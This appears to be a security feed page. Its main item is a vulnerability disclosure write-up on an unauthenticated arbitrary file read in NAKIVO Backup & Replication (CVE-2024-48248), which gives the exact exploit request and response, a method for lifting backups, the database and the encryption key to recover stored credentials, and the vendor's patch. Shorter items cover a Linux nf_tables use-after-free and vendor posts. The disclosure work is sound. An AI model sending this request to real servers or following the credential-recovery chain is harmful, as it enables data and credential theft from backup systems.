โŒ

Normal view

Before yesterdayMain stream

STAR Labs Windows Exploitation Challenge 2025 Writeup

17 March 2025 at 00:00
STAR Labs Windows Exploitation Challenge Writeup Over the past few months, the STAR Labs team has been hosting a Windows exploitation challenge. I was lucky enough to solve it and got myself a ticket to Off-By-One conference. Here is my writeup for the challenge! Analyzing the binary We are given a Windows kernel driver. Basic analysis shows that it is used to receive and save messages sent from usermode. Important structures There are two key structures used in this driver: handle and message entry.

Exploiting Reversing (ER) series: article 05 | Hyper-V (part 01)

12 March 2025 at 16:11

The fifth article (57 pages) of the Exploiting Reversing Series (ERS), a step-by-step research series on Windows, macOS, hypervisors and browsers, is available for reading on:

(PDF): https://exploitreversing.com/wp-content/uploads/2025/03/exploit_reversing_05.pdf

I would like to thank Ilfak Guilfanov (@ilfak on X) and Hex-Rays SA (@HexRaysSA on X) for their constant and uninterrupted support, which have helped me write these articles over time.

The best thing in life is people.

I hope you enjoy reading it and have an excellent day.

Alexandre Borges.

(MARCH/12/2025)

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

26 February 2025 at 11:00
The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

As an industry, we believe that weโ€™ve come to a common consensus after 25 years of circular debates - disclosure is terrible, information is actually dangerous, itโ€™s best that itโ€™s not shared, and the only way to really to ensure that no one ever uses information in a way that you donโ€™t like (this part is key) is to make up terms for your way of doing things.

We have actively petitioned vendors to be more transparent, and weโ€™re currently investing a lot of R&D time in the development of the best, thickest and tastiest crayons to sign a pledge (the name of which we haven't decided yet). We're thinking something like, Responsible Development Practices. We've also invested in a camera.

Anyway, that was, of course, just a random tangent before we began.

Today, weโ€™re here to talk about an unauthenticated Arbitrary File Read vulnerability we discovered in NAKIVO's Backup and Replication solution - specifically in version 10.11.3.86570 (We didnโ€™t check prior versions, and weโ€™ve struggled to get further information - more on this later).

In recent times, backup solutions have become targets for a plethora of marketing terms focused around ransomwareโ€”logically, because one popular way to help recover from a successful ransomware attack is to have a robust and reliable backup solution in place.

As weโ€™ve seen in numerous incidents, though, ransomware gangs tend to prefer situations in which they get paid and typically go that extra mile you'd expect from a 10x operator to ensure their victims canโ€™t simply roll their systems back, including nuking and destroying any in-place backup mechanisms.

To prove our point, we can look at Veeam - one of the bigger players in the backup and recovery space. For whatever unknown reason, Veeam solutions have been a staple within CISAโ€™s Known Exploited Vulnerability list - demonstrating even tenuously that attackers do see value in the targeting of backup solutions.

What are we dealing with?

Beyond being a backup solution in the most simplistic and logical sense, NAKIVO Backup and Replication, like any modern backup solution, boasts endless integrations - itโ€™ll integrate into your hypervisors, your cloud environments, and more.

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

All these integrations are nice, but from an attackerโ€™s point of view, this represents an opportunityโ€”to access these solutions, NAKIVO is typically configured with credentials that allow access to the aforementioned environments (you can see where this is going).

An interesting and natural APT target, and thus we decided to take a look.

Director Web Interface

As a preface and some context, the NAKIVO Backup & Replication solution is made up of a number of components.

However, today our focus will be Director - a central management HTTP interface that listens on 4443/TCP (we didnโ€™t bother going further, to be honest).

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

After deploying the Windows instance of this solution, we quickly got to work building a picture of how this system worked - handily supported by installation files deployed to: %ProgramFiles%\NAKIVO Backup & Replication

A quick glance shows us a Tomcat folder and a bunch of jar files - fantastic news.

As always, our first aim is to understand what weโ€™re looking at, and map functionality so that we can ultimately begin to understand where we should begin prodding. As with Tomcat applications deployed via war files, the web.xml defines the routes available to the application and the corresponding servlet that supports requests to defined endpoints.

For example, within this file:

    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>/c/*</url-pattern>
    </servlet-mapping>

In the above example, we can see that any value that follows on from the /c/ URI is mapped to the Spring Framework class org.springframework.web.servlet.DispatcherServlet .

This is typically driven by its accompanying dispatcher servlet configuration file, which contains directives on how the servlet behaves.

For example, within this file (dispatcher-servlet.xml), we find the tag <context:annotation-config/>, which enables support for annotated controllers (@Controller or @RestController) and handler methods (@RequestMapping, @GetMapping, etc.) for jar files loaded within the classpath.

Looking outside the Tomcat folder, we find a large jar file named backup_replication.jar which contains usage of these annotations.

For example, we found the following annotation within com/company/product/ui/actions/LoginController.java , as can be seen below the RequestMapping maps to the URI /login.

Controller
 @RequestMapping({"/login"})
 public class LoginController
   extends AbstractController
 {
   @Autowired
   @Qualifier("SettingsService")
   private SettingsService settingsService;
   @Autowired
   private RegistrationService registrationService;
   @Autowired
   private ConfigurationInfoService configurationInfoService;
   @Autowired
   private WebApplicationContext applicationContext;
   private static final Gson gson = SerializationUtils.createGsonSerializer().create();
 
 
   
   @RequestMapping(method = {RequestMethod.GET})
   public ModelAndView getIndex(Locale locale, HttpServletResponse response, HttpServletRequest request) {
     CanTryResponse canTryResponse;
     CanUseDefaultCredentialsResponse defaultCredentialsResponse;
     addSecurityHeaders(response::addHeader);

By combining the prefix of the url-pattern in the web.xml with the RequestMapping above we arrive at a URI of /c/login to reach the login page. Fairly simply.

However, grabbing out the assorted controllers, we were disappointed to identify that only a small number were reachable without authentication, due to a filter being in place. Since we authenticated vulnerabilities typically arenโ€™t our focus, weโ€™re restricted to the following paths:

  • /c/router
  • /c/api
  • /c/openApi
  • /c/login

One endpoint stood out - /c/router .

When initially browsing through the Director interface, this endpoint was heavily utilised to call various actions and methods.

Millions of years of evolution gave us a hint that this may be an interesting place to start - and so began to review HTTP requests like the following in more depth:

POST /c/router HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Connection: keep-alive
Content-Length: 98

{"action":"AutoUpdateManagement","method":"getState","data":null,"type":"rpc","tid":3980,"sid":""}

Seeing a request like this piques our interest (and weโ€™re sure yours) because of the typically sensitive meaning of the words action and method .

In a vein to figure out at a high level how the solution works, we began to build a suspicion that action is literally mapped to Java classes, and method is literally mapped to methods in a class file.

Just grepโ€™ing through the code, this begins to be confirmed:

@Service
@RemotingApiAction(AutoUpdateManagement.class)
public class AutoUpdateFacade
  implements AutoUpdateManagement
{
  @Autowired
  private AutoUpdateService autoUpdateService;
  @Autowired
  @Qualifier("AlerterAutoUpdate")
  private Alerter alerter;
  @Autowired
  private LicensingService licensingService;
  @Autowired
  private AuthenticationService authenticationService;
  
  [..Truncated..]
  
   @RemotingApiMethod(isMasterTenantAllowed = true, isTenantAllowed = false)
 @Secured({"PERMISSION_VIEW_PRODUCT_AUTO_UPDATE"})
 public boolean checkUpdateByServer() throws AutoUpdateManagementException {
   return this.autoUpdateService.isCheckUpdateByServerFailed();
 }
  
  @RemotingApiMethod(isMasterTenantAllowed = true)
public AutoUpdateStateDto getState() {
  AutoUpdateState state = this.autoUpdateService.getState()

As we can see, RemotingApiAction (whatever this is) is passed something that looks suspiciously similar to our action parameter value AutoUpdateManager and the RemotingApiMethod annotation maps to the method getState.

Pulling ourselves back a little, weโ€™ve never seen the annotation @RemotingApiAction before. Rather rapidly, we decided that this was a custom implementation specific to this NAKIVO solution, and low and behold we found it defined within com.company.product.direct.server.rpc.annotations.RemotingApiAction, with the associated methods within com.company.product.direct.server.rpc.annotations.RemotingApiMethod.

It doesnโ€™t take a genius to confirm that the annotation, @RemotingApiAction, maps to the action parameter and the @RemotingApiMethod to the method parameter.

Now that weโ€™re beginning to piece things together, a very rapid sift through the code reveals over a thousand occurrences of @RemotingApiMethod being utilised, which gives us a fairly large amount of code to review. Weโ€™re lazyโ€”weโ€™re not a PSIRT teamโ€” we just want the unauthenticated methods.

If you read the code snippet above again, like us youโ€™ll notice the @Secured annotation for the checkUpdateByServer method. This appears to be the mechanism in which the NAKIVO solution defines the roles and permissions needed to access a specific function - in this instance, @Secured({"PERMISSION_VIEW_PRODUCT_AUTO_UPDATE"}).

So, we went back to our rapid sift, and effectively excluded anything that was accompanied by any @Secured annotation.

For example, the following snippet was not accompanied by a @Secured annotation:

@Service
@RemotingApiAction(VmAgentDiscoveryManagement.class)
public class VmAgentDiscoveryFacade
  implements VmAgentDiscoveryManagement
{

[..Truncated..]

@RemotingApiMethod(isMasterTenantAllowed = true)
@Transactional(readOnly = true)
public TransporterHostDto getVmAgentByVmId(String id) throws VmAgentDiscoveryException {
  try {
    ValidationUtils.assertNotNull(id, "common.error.empty.value", new Object[] { "id" });
    TransporterHost th = this.transporterService.getByVmVid(id);
    th = (TransporterHost)this.gr.reattach((Identifiable)th);
    return (th != null) ? this.transporterDtoHelperService.toDto(th) : null;
  } catch (Exception e) {
    throw new VmAgentDiscoveryException(e);
  } 
}

We can reach this, without authentication, with the following request to /c/router :

POST /c/router HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Connection: keep-alive
Content-Length: 121

{"action":"VmAgentDiscoveryManagement","method":"getVmAgentByVmId","data":["watchTowr"],"type":"rpc","tid":3980,"sid":""}

Note how we supply the action of VmAgentDiscoveryManagement and the method of getVmAgentByVmId.

There are all sorts of pre-authenticated actions and methods that take in magical DTOs, and, bluntly, to review these comprehensively weโ€™d have to spend time building out valid data structures and requests - strong pass, and in our experience, this level of effort just isnโ€™t needed.

So, we spent another five minutes looking for more endpoints, and found the following gem:

@Service
@RemotingApiAction(STPreLoadManagement.class)
public class STPreLoadFacade
  implements STPreLoadManagement
{

[..Truncated..]

@RemotingApiMethod
public byte[] getImageByPath(String path) throws MspManagementException {
  try {
    return this.brandingService.getImageByPath(path);
  } catch (Throwable t) {
    throw new MspManagementException(t);
  } 

This method, which maps to the action STPreLoadManagement, looks interesting - GetImageByPath sounds mysterious and unclear as to what it might do.

Naturally, we follow the call trace into brandingService.getImageByPath:

public byte[] getImageByPath(String path) throws IOException {
  String newPath = path.replace("/c", "userdata");
  File file = new File(newPath);
  return FileUtils.readFileToByteArray(file);
}

It appears that the getImageByPath method takes a parameter (path) and immediately uses that path to read a file to a byte array (or, we assume so, by the once again ambiguous readFileToByteArray ).

Throwing caution into the wind, we just give it a shot:

POST /c/router HTTP/1.1
Host: {{Hostname}
Content-Type: application/json
Connection: keep-alive
Content-Length: 121

{"action":"STPreLoadManagement","method":"getImageByPath","data":["C:/windows/win.ini"],"type":"rpc","tid":3980,"sid":""}

And what do we get back?

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cache-Control: max-age=0
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 466
Keep-Alive: timeout=60
Connection: keep-alive

{"action":"STPreLoadManagement","method":"getImageByPath","tid":"3980","type":"rpc","message":null,"where":null,"cause":null,"data":[59,32,102,111,114,32,49,54,45,98,105,116,32,97,112,112,32,115,117,112,112,111,114,116,13,10,91,102,111,110,116,115,93,13,10,91,101,120,116,101,110,115,105,111,110,115,93,13,10,91,109,99,105,32,101,120,116,101,110,115,105,111,110,115,93,13,10,91,102,105,108,101,115,93,13,10,91,77,97,105,108,93,13,10,77,65,80,73,61,49,13,10]}

Thatโ€™s an interesting-looking series of numbers.

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

Well, OK - that was a little simpler than expected. We have an unauthenticated Arbitrary File Read vulnerability - with the added benefit that (per what we saw, and our own default deployment) - the NAKIVO solution runs as a superuser regardless of platform (i.e. we can read anything, inc /etc/shadow if Linux deployed, for example).

Not great, but it's not RCE.

We provide... Leverage

Weโ€™ve found an unauthenticated Arbitrary File Read vulnerability, that simply put allows us now to read any file on the target host. But, what can we use this for?

Well, rubbing our collective 2 and a half braincells together, we think back to the actual purpose of this solution - to store backups.

Canโ€™t we justโ€ฆ request the backups themselves? Ultimately, they're likely to contain all the juicy info we're looking for.

Where would they be?

After playing around with the software and backing up a sacrificial Linux server, we found the raw backup file stored on disk, as: C:\NakivoBackup\18ff30f5-cfd6-4708-9220-5ec433075934\ead9e897-7ec7-4612-9855-aa86e364afda.raw

This somewhat complicates things - an attacker needs to somehow enumerate/guess/manifest the correct UUIDs before they can even attempt to read and exfiltrate a server backup.

Well, fortunately or unfortunately, these backup file paths are magically stored in cleartext within the logs of the NAKIVO solution, which are located at logs\\0\\backup.log and logs\\0\\controller-physical.log. An attacker can simply use our lovely Arbitrary File Read Vulnerability to review these logs, extract the paths to the raw backup files, and subsequently download the backups.

Well, we guessโ€ฆ thereโ€™s one minorโ€ฆ ok โ€ฆ major limitation - since the server reads the entire file into RAM before serving it to the friendly-requesting user via HTTP, the file has to fit into (virtual) memory. In 2025, a reality in which systems are provisioned with harddisks typically measured in hundreds-of-GBs, if not TBs, it seems unlikely that the host configured to run this NAKIVO solution will have sufficient amounts of ram.

In addition, we have to hope that a friendly network admin doesnโ€™t notice hundreds of GBs of bandwidth leaving their environment.

Editor: Letโ€™s be real, this is not going to be noticed.
The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

Where thereโ€™s authentication, there is material

With this fairly significant limitation in mind, and disappointed that we felt this vulnerability was becoming a little โ€˜impact-lessโ€™, we pondered on how we could leverage this into something a little more scary.

We reflected that uninspired attack scenarios could include simply downloading the local database used by the solution, extracting and โ€œcrackingโ€ user passwords, and logging in as a legitimate user - but this would reflect a lot of effort and as we mentioned earlier, weโ€™re lazy. What if someone actually bothered to use strong passwords?

Surprisingly (not really), the solutionโ€™s default database sits on the filesystem at userdata\db\product01.h2.db.

If we recall back to what we mentioned earlier - the NAKIVO solution integrates into a multitude of system types, and when setting up the solution itself to create backups you do indeed have a multitude of options for adding various โ€œInventoryโ€ items:

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

To connect to an AWS S3 bucket for the purposes of performing a backup, youโ€™d logically need AWS keys.

To connect to a Linux host for the purposes of performing a backup, you would require SSH credentials (for example).

To connect to a Domain Controller for the purposes of performing a backup, you would need suitably privileged credentials.

In order for the solutions to work, these keys and credentials will need to be stored in a non-hashed manner for the integrations to take place with automation.

Having reviewed the database locally in a text editor, we identified that these keys and credentials are stored encrypted using a key located in: %ProgramFiles%\NAKIVO Backup & Replication\userdata\config.properties

This means it's not just a matter of dumping the DB and running a query.

While all the data is stored within the H2.db file, the schema is not stored there, making it impossible to simply open it in a client and select data with SQL statements. The NAKIVO solution stores the schema within the application code and formats the .db file at runtime. This leaves us with two options to proceed:

  1. Replicate the database schema from the Java code so we can parse the .db file (tedious!)
  2. Use an installation of the application we control to do this for us!

Letโ€™s imagine the following, to move past this hurdle:

  1. Deploy the NAKIVO solution on a host we control
  2. Setup the instance and authenticate to the instance
  3. Stop the NAKIVO Backup & Replication Director service on our host
  4. Exfiltrate the following files from our target NAKIVO instance to our instance using the Arbitrary File Read vulnerability, and replace the files we have on our host:

%ProgramFiles%\NAKIVO Backup & Replication\userdata\db\product01.h2.db

%ProgramFiles%\NAKIVO Backup & Replication\userdata\config.properties

  1. Restart the aforementioned service on our local NAKIVO instance and observe the integrations have been migrated successfully and are connected.
The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

At this point, we could configure backup jobs on our now locally deployed NAKIVO instance to connect to these inventory items (defined in our โ€œborrowedโ€ database), but that in itself introduces operational hurdles (bandwidth, network connectivity requirements, etc).

Why canโ€™t we just get the credentials, and use as we see fit?

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

In this example, where NAKIVO has been configured with an SSH username and password pair for this particular inventory item, the password is masked (no, itโ€™s not a client-side mask). But, logically, our connection to the host is still success and thus somewhere - likely in memory - the configured credentials must exist in plaintext.

Given weโ€™re now operating with a โ€œborrowedโ€ database on our local NAKIVO solution, this is relatively simple to address - we can configure the NAKIVO solution to create a Java Debug session, allowing us to dump memory in full.

To dump this from memory we can create a Java Debug session by adding debug JVM parameters to:

%ProgramFiles%\NAKIVO Backup & Replication\native\win32\backup_replication-service.ini

First we connect our Java debugger with the backup_replication.jar attached as a library, so we can correctly breakpoint the application server.

Secondly, using the NAKIVO's GUI, we attempt to edit the connection to the Ubuntu server without changing the username or starred password, a HTTP request is triggered for the action PhysicalDiscovery and method update.

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

Finding this within the library (com/company/product/hypervisors/physical/discovery/core/PhysicalDiscoveryService.class) and setting a breakpoint allows us to dump the cleartext credential for the server:

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

And just like that, weโ€™ve demonstrated a clear path from our unauthenticated Arbitrary File Read vulnerability - to obtaining all stored credentials utilized by the target NAKIVO solution.

From here, the possibilities are extensive depending on what's been integrated, and goes beyond merely stealing backups โ€” to essentially unlocking entire infrastructure environments.

Communications

We attempted to disclose this vulnerability to NAKIVO several times via email (13th September 2024 and 2nd October 2024), but did not receive a response. After a month or so, we braved their chat system and engaged with a very confused representative who, somewhat expectedly, didnโ€™t really understand our problem.

Fortunately, though, the confusion must have made itโ€™s way a little further, as we later received an email from NAKIVO support (29th October 2024).

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

Living our lives peacefully and really not bothering anyone, we eventually identified that NAKIVO had quietly patched the vulnerability in a new release (without announcing the vulnerability via an advisory), and we confirmed that fixes are present in versions v11.0.0.88174 and onwards.

In the patched version, the developers have opted to utilize the FileUtils library with the getFile function.

By utilizing this approach the supplied value from the user is split into components and a new file path is constructed using fixed directory names ("userdata", "branding") combined with only the filename portion, preventing directory traversal attempts - parent directory references (../) and path manipulation are stripped away during the filename extraction process.

public byte[] getImageByPath(String path) throws IOException {
  String fileName = FilenameUtils.getName(path);
  File targetFile = FileUtils.getFile(new String[] { "userdata", "branding", fileName });
  
  if (!targetFile.exists() || !targetFile.canRead() || targetFile.isDirectory()) {
    throw new IOException(Lang.get("services.branding.no.file", new Object[0]));
  }
  
  return FileUtils.readFileToByteArray(targetFile);
}

This resolves the vulnerability we identified and detail here today.

However, much to our dismay, when reviewing release notes for the NAKIVO solution, there is no mention of this vulnerability (and of course, no CVE); we can only assume that they reached out to their customer base secretly to inform them to upgrade to v11.0.0.88174 to resolve this vulnerability.

We would be shocked if a vendor tried to sweep a vulnerability this serious under a rug, and knowingly give their customers a misplaced sense of security.

Regardless, we applied for a CVE number ourselves and were allocated CVE-2024-48248, so we can at least reference the vulnerability by this name.

Conclusion

Weโ€™ve said time and time again that bugs, in some form or another, are an inescapable fact of life, and that a vendors response to a bug is much more important than the presence of a defect itself.

Weโ€™re not assuming or suggesting here that NAKIVO have responded badly - we of course assume that they contacted all their customers under NDA, and encouraged them quietly to patch, to avoid leaving their customers unknowingly vulnerable.

Regardless of this, weโ€™re still in โ€˜not greatโ€™ territory - software that safeguards large amounts of critical data, as any backup solution does, is bound to be under the scrutiny of motivated and mean attackers. Given a vulnerability so โ€œsimpleโ€, itโ€™s sometimes hard to believe that weโ€™re the only ones that stumbled into it.

As we mentioned previously, we have confirmed that the aforementioned vulnerability has been resolved in v11.0.0.88174.

Beyond this, we are unable to advise as to which versions, and how many versions, proceeding this are vulnerable, and can only advise that concerned customers of NAKIVO attempt exploitation of their servers in order to firmly ascertain their status.

To make this easier, weโ€™ve supplied a Detection Artifact Generator that also serves as an unofficial NAKIVO customer support tool:

https://github.com/watchtowrlabs/nakivo-arbitrary-file-read-poc-CVE-2024-48248/

The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) - NAKIVO Backup & Replication (CVE-2024-48248)

Timeline

Date Detail
13th September 2024 Vulnerability discovered
13th September 2024 Vulnerability disclosed to NAKIVO in version 10.11.3.86570
13th September 2024 watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected
2nd October 2024 watchTowr follows up, as no response received from NAKIVO via Email
18th October 2024 watchTowr is assigned CVE-2024-48248 for this vulnerability
29th October 2024 NAKIVO acknowledges the vulnerability via Email
4th November 2024 NAKIVO silently patches the vulnerability (v11.0.0.88174)
26th February 2025 Blog post and unofficial NAKIVO customer support tool release

Is Continuous Threat Exposure Management right for you?

12 March 2025 at 19:00

Letโ€™s talk about YAGC (Yet Another Gartnerยฎ Categoryโ€”we kid, we kid): CTEM. Truth is the cybersecurity space is overflowing with acronyms, frameworks, and categories, and, like vulnerability scanning, it can be hard to parse what matters amidst the noise. You need to know whether itโ€™s worth your time, and if so, what youโ€™ll need to invest across tools, processes, and people to be successful.

Source

Why Every New CISO Should Run NodeZeroยฎ on Day One

10 March 2025 at 16:01

Taking on the role of a Chief Information Security Officer (CISO) comes with a sobering realization: the clock starts ticking the moment you step into the role. Cyber threats donโ€™t wait, and your organizationโ€™s vulnerabilities may already be known to adversaries. In this high-stakes environment, NodeZeroยฎ becomes more than a tool โ€“ itโ€™s your immediate ally. If I were a new CISOโ€ฆ

Source

Breaking the Bank: How NodeZeroยฎ Secured a Financial Giant in Just 14 Hours

6 March 2025 at 16:00

Financial services faced 141 breaches in Q3 2024 alone, exposing over 16 million victims. Cybercriminals exploit hidden vulnerabilities that traditional tools often fail to detectโ€”leaving organizations at risk. In just 14 hours, NodeZero uncovered critical weaknesses, multiple domain compromises, and systemic security gaps at a major financial institution. With quick remediationโ€ฆ

Source

Identify Cybersecurity Risks at Scale to De-Risk M&A Transactions with Horizon3.aiโ€™s NodeZeroยฎ Platform

5 March 2025 at 20:37

Mergers and acquisitions introduce significant cybersecurity risks, from unknown vulnerabilities in the target companyโ€™s IT infrastructure to latent threats that could persist post-acquisition. Traditional due diligence often overlooks these risks, leaving organizations exposed. NodeZeroยฎ provides a proactive, attack-driven approach to identifying and mitigating security gaps before, duringโ€ฆ

Source

Horizon3.ai Achieves 101% YoY Revenue Increase and Sets New Record in Q4 Performance

25 February 2025 at 14:21

Business Wire 02/25/2025 Horizon3.ai, a global leader of autonomous security solutions, continues to set new industry benchmarks, achieving 101% year-over-year revenue growth and exceeding 150% of Q4 pipeline targets in FY25. With demand accelerating for real-world, offense-driven security, organizations are rapidly adopting NodeZeroยฎ to continuously find, fix, and verify exploitable weaknessesโ€ฆ

Source

The Market Shifts to Autonomous Pentesting: Horizon3.ai Surpasses 100,000 NodeZeroยฎ Tests

19 February 2025 at 14:13

Business Wire 02/19/2025 Horizon3.ai, a global leader of autonomous security solutions, announced today that NodeZeroยฎ has surpassed 100,000 pentests conducted by over 3,000 customers, with projections exceeding 400,000 by the end of 2026. As cyber threats escalate, organizations are shifting from periodic, compliance-driven pentests to continuous attack validation with NodeZero.

Source

Ivanti Endpoint Manager โ€“ Multiple Credential Coercion Vulnerabilities

19 February 2025 at 10:00

Back in October of 2024, we were investigating one of the many Ivanti vulnerabilities and found ourselves without a patch to โ€œpatch diffโ€ with โ€“ leading us to audit the code base at mach speed. This led to the discovery of four critical vulnerabilities in Ivanti Endpoint Manager (EPM). These vulnerabilities were patched last month in Ivantiโ€™s January patch rollup.

Source

Fireside Chat: Horizon3.ai and Jeromeโ€™s Furniture

18 February 2025 at 21:30

Adam Warren, IT Director at Jeromeโ€™s Furniture, sits down with Horizon3.aiโ€™s Principle Security SME, Stephen Gates, to discuss how Jeromeโ€™s has evolved its cybersecurity strategy over the years. From early vulnerability management struggles to the adoption of autonomous penetration testing with NodeZero, Adam shares real-world insights on how a lean IT team can efficiently defend against modernโ€ฆ

Source

[ํ•˜๋ฃจํ•œ์ค„] CVE-2024-1086: Linux Kernel ๋‚ด Use-After-Free

12 March 2025 at 08:00

URL

https://www.igloo.co.kr/security-information/linux-kernel-%eb%82%b4-use-after-free-%ec%b7%a8%ec%95%bd%ec%a0%90cve-2024-1086-%eb%b6%84%ec%84%9d-%eb%b0%8f-%eb%8c%80%ec%9d%91%eb%b0%a9%ec%95%88/

Target

  • Linux Kernel 6.1 ~ 6.5 ๋ฒ„์ „

Explain

์ด ์ทจ์•ฝ์ ์€ Linux Kernal ๋‚ด ๋ฆฌ๋ˆ…์Šค ํŒจํ‚ท ํ•„ํ„ฐ๋ง ๋ฐ ๋„คํŠธ์›Œํฌ ์ฃผ์†Œ ๋ณ€ํ™˜(NAT) ํ”„๋ ˆ์ž„์›Œํฌ์ธ netfilter์˜ nf_tables ๊ตฌ์„ฑ ์š”์†Œ์—์„œ UAF๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ nftables์˜ ํŒจํ‚ท ์ฒ˜๋ฆฌ ๊ณผ์ •์—์„œ ๋ฐœ์ƒํ•˜๋ฉฐ, nf_hook_slow()์™€ nft_verdict_init() ํ•จ์ˆ˜์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” nf_hook_slow() ํ•จ์ˆ˜์˜ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค.

int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,                  const struct nf_hook_entries *e, unsigned int s){    unsigned int verdict;    int ret;    for (; s < e->num_hook_entries; s++) {        verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);                switch (verdict & NF_VERDICT_MASK) {            case NF_ACCEPT:                break;            case NF_DROP:                kfree_skb(skb);                ret = NF_DROP_GETERR(verdict);                if (ret != 0)  // ์˜คํƒ€ ์ˆ˜์ •                    ret = -EPERM;                return ret;            case NF_QUEUE:                ret = nf_queue(skb, state, s, verdict);                if (ret == 1)                    continue;                return ret;            default:                break;        }        return 0;    }    return 1;}

์œ„ ์ฝ”๋“œ๋Š” netfilter ๋ชจ๋“ˆ ๋‚ด์˜ nf_hook_slow() ํ•จ์ˆ˜์˜ ์ผ๋ถ€๋กœ, ํŒจํ‚ท ์ฒ˜๋ฆฌ ๊ทœ์น™์„ ๋ฐ˜๋ณต๋ฌธ ์•ˆ์—์„œ ํ‰๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ํŒจํ‚ท์— ๋Œ€ํ•œ verdict ๊ฐ’์„ ์–ป๊ณ , ๊ทธ ๊ฐ’๊ณผ NF_VERDICT_MASK ๋งคํฌ๋กœ ๊ฐ’์„ ํ†ตํ•ด ํŒจํ‚ท ์ฒ˜๋ฆฌ๋ฅผ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค. verdict ๊ฐ’์€ ํŒจํ‚ท ์ฒ˜๋ฆฌ ๊ฒฐ๊ณผ๊ฐ’์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ž…๋‹ˆ๋‹ค.

nf_hook_slow() ํ•จ์ˆ˜์—์„œ๋Š” NF_DROP์ผ ๊ฒฝ์šฐ kfree_skb()๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํŒจํ‚ท์„ ํ•ด์ œํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ NF_DROP_GETERR(verdict)์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ค์ •ํ•œ verdict ๊ฐ’์ด โ€œ0xFFFF0000โ€์ด๋ผ๋ฉด, ํ•จ์ˆ˜ ๋‚ด๋ถ€ ์—ฐ์‚ฐ์„ ํ†ตํ•ด ret ๊ฐ’์€ -65535๋กœ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ’์€ ์ดํ›„ NF_ACCEPT๋กœ ์ฒ˜๋ฆฌ๋˜์–ด ํŒจํ‚ท์ด ๊ณ„์†ํ•ด์„œ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” nft_verdict_init() ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.

static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data, struct nft_data_desc *desc, const struct_nlattr *nla){    switch (data->verdict.code) {    default:        switch (data->verdict.code & NF_VERDICT_MASK) {        case NF_ACCEPT:        case NF_DROP:        case NF_QUEUE:            break;        default:            return -EINVAL;        }    }    return 0;}

nft_verdict_init() ํ•จ์ˆ˜์—์„œ data->verdict.code๋Š” ๊ทœ์น™ ์„ค์ •์— ๋Œ€ํ•œ ๋ฆฌํ„ด ๊ฐ’์œผ๋กœ ์‚ฌ์šฉ๋˜๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ โ€œ0xFFFF0000โ€ ๊ฐ’์„ ์„ค์ •ํ•  ๊ฒฝ์šฐ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

